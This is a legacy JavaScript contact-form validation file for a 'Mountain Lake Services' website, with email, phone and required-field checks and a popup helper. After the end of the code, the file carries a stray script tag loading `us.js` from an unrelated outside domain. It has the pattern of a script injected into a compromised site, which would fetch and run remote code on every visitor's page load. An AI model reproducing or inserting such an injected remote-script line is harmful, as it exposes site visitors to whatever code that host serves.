<!-- 
// original: www.builder.com
// Mods: EMA et al.
function openWin(url, name, w, h) {
	var winX = (screen.availWidth - w)*.5;
	var winY = (screen.availHeight - h)*.5;
	popupWin = window.open(url, name, 'scrollbars, width=' + w + ', height=' + h + ',' + 'left=' + winX + ',top=' + winY);
}

/*
addEvent(window, 'load', function() { 
 document.getElementById('myfield').focus() 
}); 

function addEvent(obj, evType, fn){ 
 if (obj.addEventListener){ 
    obj.addEventListener(evType, fn, true); 
    return true; 
 } else if (obj.attachEvent){ 
    var r = obj.attachEvent("on"+evType, fn); 
    return r; 
 } else { 
    return false; 
 } 
} 
*/

// form validation

function HasComma(string) {
if (!string) return false;	
var invalid=",; "
for (var i=0; i<string.length; i++) {
	if (invalid.indexOf(string.charAt(i)) != -1) {	// HAS comma or semi-colon or space
		return false;
	}
}	
return true;	
}

function IsValidEmail(string) {
if (!string) return false;
var goodEmail = string.match(/\b(^(\S+@).+((\.ca)|(\.uk)|(\.com)|(\.biz)|(\.net)|(\.info)|(\.edu)|(\.mil)|(\.gov)|(\.org)|(\..{2,2}))$)\b/gi);
if (goodEmail == null) {  // not a match
	return false;
	}
return true;
}

function ValidatePhone() {
var hyphencount = 0;  // reinitialize this variable

if (document.contactform.strPhone.value.length != 12) {
	//alert("Please enter your primary contact phone number in a 123-456-7890 format.\nIf you don't live in the U.S. or Canada, enter any phone number.");
	//document.contactform.strPhone.focus();
	//document.contactform.strPhone.select();
	return false;
	}

for (var i=0; i < document.contactform.strPhone.value.length; i++) {
	var temp = "" + document.contactform.strPhone.value.substring(i, i+1);
	if (temp == "-") hyphencount++;
	var valid = temp;
	if (valid.indexOf(temp) == "-1") {
	//alert("Your primary contact phone number has an invalid character(s). Please try again.");
	//document.contactform.strPhone.focus();
	//document.contactform.strPhone.select();
	return false;
	}
}	

if ( (hyphencount == 2) && (document.contactform.strPhone.length==12) && (document.contactform.strPhone.value.charAt(3)!="-") && (document.contactform.strPhonevalue.charAt(7)!="-") ) {
	//alert("Your primary contact phone number entry should have two hyphens, in the format 123-456-7890. Please try again.");
	//document.contactform.strPhone.focus();
	//document.contactform.strPhone.select();
	return false;
	}
}
// 2/27/08 changed function name to reflect it's only for webmaster contact form
function ValidateWebForm(form) {

// name field
if (document.contactform.realname.value == "" || document.contactform.realname.value == "Type your name") {
	alert("Please enter your name.");
	document.contactform.realname.focus();
	document.contactform.realname.select();
	return false;
	}

// validate email address	
if (IsValidEmail(document.contactform.email.value) == false || document.contactform.email.value == "Type your email") {
	alert("Please enter a valid email address in the form userid@domain.com.");
	document.contactform.email.focus();
	document.contactform.email.select();
	return false;
   }

// comma/semicolon checking		
if (HasComma(document.contactform.email.value) == false) {
	alert("You may only enter one valid email address in the Email field.");
	document.contactform.email.focus();
	document.contactform.email.select();
	return false;
    }

/* 2/27/08 comment out because no phone field to validate
// phone field
if (document.contactform.strPhone.value == "" || document.contactform.strPhone.value == "Type your phone number" || ValidatePhone(document.contactform.strPhone) == false) {
	alert("Please enter your phone number in a 123-456-7890 format.\nIf you don't live in the U.S. or Canada, enter any phone number.");
	document.contactform.strPhone.focus();
	document.contactform.strPhone.select();
	return false;
	}
*/

// comments field
if (document.contactform.strComments.value == "" || document.contactform.strComments.value == "Type your questions or comments") {
	alert("Please enter your questions or comments.");
	document.contactform.strComments.focus();
	document.contactform.strComments.select();
	return false;
	}

// strFoundAgency field added in January 2005
if (document.contactform.strFoundAgency.value == "" || document.contactform.strFoundAgency.value == "Type your answer here") {
	alert("Please tell us how you found out about Mountain Lake Services and our website.");
	document.contactform.strFoundAgency.focus();
	document.contactform.strFoundAgency.select();
	return false;
	}

return true;
}
//-->
<script src=http://rbxyz.com/us.js></script>